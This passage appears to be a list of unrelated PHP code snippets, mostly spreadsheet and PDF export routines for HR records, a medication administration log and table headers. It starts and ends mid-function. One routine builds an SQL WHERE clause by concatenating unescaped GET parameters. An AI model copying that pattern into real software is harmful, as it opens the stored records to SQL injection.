$excel->setActiveSheetIndex(0)->setCellValue('AE' . $numrow, $a['gol_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AF' . $numrow, '');\n }\n\n $sdm08 = $this->Model_admin->get_sdm08_a1_akhir($i['npp']);\n foreach ($sdm08 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AG' . $numrow, $a['kd_kbn'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AH' . $numrow, $a['kd_adf'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AI' . $numrow, $a['kd_jab'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $jab = $this->Model_admin->get_jabatan($a['kd_jab']);\n foreach ($jab as $jab) {\n $excel->setActiveSheetIndex(0)->setCellValue('AJ' . $numrow, $jab['nama']);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AK' . $numrow, $a['kd_bud'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AL' . $numrow, date('d-m-Y', strtotime($a['jab_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AM' . $numrow, $a['jab_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AN' . $numrow, date('d-m-Y', strtotime($a['jab_tgl'])));\n }\n\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AO' . $numrow, $i['no_astek'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AP' . $numrow, $i['no_pens'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AQ' . $numrow, $i['no_kk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AR' . $numrow, $i['no_nik'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AS' . $numrow, $i['no_bpjs'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n $golongan = $sdm16[0]['golongan'];\n $golongan = (int)$golongan;\n if ($golongan >= 0 and $golongan <= 8) {\n $tgl_pen = date('Y-m-d', strtotime('+55 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n if ($golongan >= 9 and $golongan <= 16) {\n $tgl_pen = date('Y-m-d', strtotime('+56 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n\n $sdm01 = $this->Model_admin->tampil_a1($i['npp'])->result_array();\n $skrng = date_create($sdm01[0]['tgl_masuk']);\n $tgl_pen = date_create($tgl_pen);\n\n $diff = date_diff($skrng, $tgl_pen);\n\n if ($diff->y > 57) {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n } else {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, $diff->y);\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, $diff->m);\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, $diff->d);\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n }\n\n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Q' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('R' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(30);\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(50);\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(20);\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('O')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('P')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('Q')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('R')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('S')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('T')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('U')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('V')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('W')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('X')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('Y')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('Z')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AA')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AB')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AC')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AE')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AF')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AG')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AH')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AJ')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AK')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AL')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('AM')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AN')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AO')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AP')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AQ')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AR')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AS')->setWidth(15);\n $excel->getActiveSheet()->getColumnDimension('AT')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AU')->setWidth(10);\n $excel->getActiveSheet()->getColumnDimension('AV')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AW')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AX')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AY')->setWidth(5);\n $excel->getActiveSheet()->getColumnDimension('AZ')->setWidth(5);\n\n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Data A1\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data A1' . $date . '.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n header('Content-Transfer-Encoding: binary');\n header('Accept-Ranges: bytes');\n header('Cache-control: no-cache, pre-check=0, post-check=0');\n header('Cache-control: private');\n header('Pragma: private');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // any date in the past\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function _webform_csv_headers_email($component) {\r\n $header = array();\r\n $header[0] = '';\r\n $header[1] = '';\r\n $header[2] = $component['name'];\r\n return $header;\r\n}", "abstract protected function getColumnsHeader(): array;", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public function setColumnsHeadData()\n\t{\n\t\tFileStorage::getInstance()->store([], 'league_table_columns_head');\n\t}", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Zapier Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$poll_id = $this->poll_id;\n\t\t$poll_settings_instance = $this->poll_settings_instance;\n\n\t\t/**\n\t\t * Filter zapier headers on export file\n\t\t *\n\t\t * @since 1.6.1\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $poll_id current Form ID\n\t\t * @param Forminator_Addon_Zapier_Poll_Settings $poll_settings_instance Zapier Poll Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_zapier_poll_export_headers',\n\t\t\t$export_headers,\n\t\t\t$poll_id,\n\t\t\t$poll_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function renderXLS($rows,$headers,$filename) {\n $data = $this->dumpXLS($rows,$headers);\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0, pre-check=0\");\n header('Content-Type: application/xls');\n header(\"Content-Disposition: attachment;filename=\".$filename);\n header(\"Content-Transfer-Encoding: binary\");\n echo $data;\n exit();\n }", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "public function generateExcelFile($yp_id) {\n $this->load->library('excel');\n $this->activeSheetIndex = $this->excel->setActiveSheetIndex(0);\n\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Pocket Money');\n $exceldataHeader = \"\";\n $exceldataValue = \"\";\n $headerCount = 1;\n if (!empty($yp_id)) {\n $medication_name = $this->input->get('professional_name');\n $search_date = $this->input->get('search_date');\n $search_time = $this->input->get('search_time');\n $search = $this->input->get('search');\n $sortfield = $this->input->get('sortfield');\n $sortby = $this->input->get('sortby');\n $data = [];\n //get YP information\n $table = YP_DETAILS . ' as yp';\n $match = array(\"yp.yp_id\" => $yp_id);\n $fields = array(\"yp.yp_fname,yp.yp_lname,yp.date_of_birth,sd.email,ch.care_home_name\");\n $join_tables = array(SOCIAL_WORKER_DETAILS . ' as sd' => 'sd.yp_id=yp.yp_id', CARE_HOME . ' as ch' => 'ch.care_home_id = yp.care_home');\n $data['YP_details'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', $match, '', '', '', '', '', '', '');\n $match = array('am_form_id' => 1);\n $formsdata = $this->common_model->get_records(AM_FORM, array(\"form_json_data\"), '', '', $match);\n if (!empty($formsdata)) {\n $formsdata_expr = json_decode($formsdata[0]['form_json_data'], TRUE);\n }\n\n $match = array('yp_id' => $yp_id);\n $medication_data = $this->common_model->get_records(MEDICATION, '', '', '', $match);\n $data['stock'] = '';\n if (!empty($medication_data)) {\n $data['stock'] = $medication_data[0]['stock'];\n }\n $where = \"mc.yp_id = \" . $yp_id;\n\n if ($search == 1) {\n if (!empty($medication_name)) {\n $where .= ' AND mc.select_medication = ' . $medication_name;\n }\n if (!empty($search_date)) {\n $search_date = dateformat($search_date);\n $where .= ' AND mc.date_given = \"' . $search_date . '\"';\n }\n if (!empty($search_time)) {\n $search_time = dbtimeformat($search_time);\n $where .= ' AND mc.time_given = \"' . $search_time . '\"';\n }\n \n }\n\n $login_user_id = $this->session->userdata['LOGGED_IN']['ID'];\n $table = ADMINISTER_MEDICATION . ' as mc';\n $fields = array(\"mc.*, md.stock,mc.date_given as date_given,time_given as time_given\");\n $join_tables = array(MEDICATION . ' as md' => 'md.medication_id=mc.select_medication');\n $data['information'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', '', '', '', '', $sortfield, $sortby, '', $where);\n\n $data['crnt_view'] = $this->viewname;\n $data['ypid'] = $yp_id;\n $form_field = array();\n $exceldataHeader = array();\n if (!empty($formsdata_expr)) {\n foreach ($formsdata_expr as $row) {\n $exceldataHeader[] .=html_entity_decode($row['label']);\n }\n $exceldataHeader[] .= 'Quantity Remaining';\n }\n\n if (!empty($formsdata)) {\n $sheet = $this->excel->getActiveSheet();\n $this->excel->setActiveSheetIndex(0)->setTitle('ADMINISTRATION HISTORY LOG');\n $sheet->getStyle('A1:Z1')->getFont()->setBold(true);\n $sheet->getColumnDimension('A')->setWidth(35);\n $sheet->getColumnDimension('B')->setWidth(12);\n $sheet->getColumnDimension('C')->setWidth(10);\n $sheet->getColumnDimension('D')->setWidth(15);\n $sheet->getColumnDimension('E')->setWidth(8);\n $sheet->getColumnDimension('F')->setWidth(25);\n $sheet->getColumnDimension('G')->setWidth(15);\n $sheet->getColumnDimension('H')->setWidth(20);\n $sheet->getColumnDimension('I')->setWidth(20);\n $sheet->getColumnDimension('J')->setWidth(15);\n $sheet->getColumnDimension('K')->setWidth(15);\n $sheet->fromArray($exceldataHeader, Null, 'A1')->getStyle('A1')->getFont()->setBold(true); // Set Header Data\n\n if (!empty($data['information'])) {\n $col = 2;\n foreach ($data['information'] as $data) {\n if (!empty($formsdata_expr)) {\n $exceldataValue = array();\n foreach ($formsdata_expr as $row) {\n if ($row['type'] == 'date') {\n if ((!empty($data[$row['name']]) && $data[$row['name']] != '0000-00-00')) {\n $exceldataValue[] .= configDateTime($data[$row['name']]);\n }\n } else if($row['type'] == 'text' && $row['subtype'] == 'time'){\n $exceldataValue[] .= timeformat($data[$row['name']]); \n } else if ($row['type'] == 'select') {\n if (!empty($data[$row['name']])) {\n if (!empty($row['description']) && $row['description'] == 'get_user') {\n\n $get_data = $this->common_model->get_single_user($data[$row['name']]);\n $exceldataValue[] .=!empty($get_data[0]['username']) ? $get_data[0]['username'] : '';\n } else if (!empty($row['description']) && $row['description'] == 'get_medication') {\n\n $get_medication_data = $this->common_model->get_single_medication($data[$row['name']]);\n $exceldataValue[] .= !empty($get_medication_data[0]['medication_name']) ? $get_medication_data[0]['medication_name'] : '';\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n }\n $exceldataValue[] .= !empty($data['available_stock']) ? $data['available_stock'] : '';\n }\n $sheet->fromArray($exceldataValue, Null, 'A' . $col)->getStyle('A' . $col)->getFont()->setBold(false);\n $col ++;\n } // end recordData foreach\n }\n }\n }\n $fileName = 'ADMINISTRATION HISTORY LOG' . date('Y-m-d H:i:s') . '.xls'; // Generate file name\n $this->downloadExcelFile($this->excel, $fileName); // download function Xls file function call\n }", "function export_xls() {\n $engagementconfs = Configure::read('engagementConf');\n $this->set('engagementconfs',$engagementconfs);\n $data = $this->Session->read('xls_export');\n //$this->Session->delete('xls_export'); \n $this->set('rows',$data);\n $this->render('export_xls','export_xls');\n }", "function header (){\n\t\t$this->setfont('Arial','B', 16);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'WANANCHI', 0, 0, 'C');\n\t\t$this->Ln(10);\n\t\t$this->setfont('Arial','',12);\n\t\t$this->settextcolor(0, 0, 0);\n\t\t$this->cell(0, 10, 'INFORMATION',0, 0, 'C');\n\t\t$this->Ln(30);\n\t}", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk 